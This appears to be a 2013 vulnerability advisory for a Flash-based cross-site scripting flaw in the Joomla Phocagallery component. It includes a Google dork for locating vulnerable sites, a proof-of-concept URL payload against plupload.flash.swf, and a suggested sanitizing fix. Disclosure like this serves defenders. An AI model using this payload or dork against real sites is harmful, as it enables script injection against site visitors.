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Joomla Phocagallery 3.0.0 / 4.0.0 Cross Site Scripting

Joomla Phocagallery 3.0.0 / 4.0.0 Cross Site Scripting
Posted May 13, 2013
Authored by Rafay Baloch, Deepankar Arora

Joomla Phocagallery component versions 3.0.0 through 4.0.0 suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 7ac32fc5334a6c47399759bb86d3ae214d11b769a06e56788ca9a188b94cbb3b

Joomla Phocagallery 3.0.0 / 4.0.0 Cross Site Scripting

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# Exploit Title: Joomla com_phocagallery Plupload Flash XSS
# Release Date: 13/05/2013
# Author: Rafay Baloch And Deepankar Arora
# Contact: http://rafayhackingarticles.net
# Vendor: phoca.cz
# Versions Affected: 3.0.0 - 4.0.0
# Google Dork: inurl:com_phocagallery

Description:

The vulnerability with plupload with a known vulnerability, however
com_phocagallery uses it, The id parameter is not sanitized. Therefore it
results in a flash based xss.

The vulnerable code is as follows:

this.id = this.stage.loaderInfo.parameters["id"];

As you can see that there is not type of filtering being performed at the
id parameter.

POC:

http://localhost/joomla/components/com_phocagallery/assets/plupload/plupload.flash.swf?id=0\%22))}catch(e){if(!window.x){window.x=1;alert(2)}}//

Fix:

Sanitize the input.

this.id =
(this.stage.loaderInfo.parameters["id"]).toString().replace(/[^\w]/g, '');

The above would filter out all the special characters.


References:

https://github.com/moxiecode/plupload/commit/2d746ee
--
Warm Regards,
Rafay Baloch

http://rafayhackingarticles.net
http://techlotips.com
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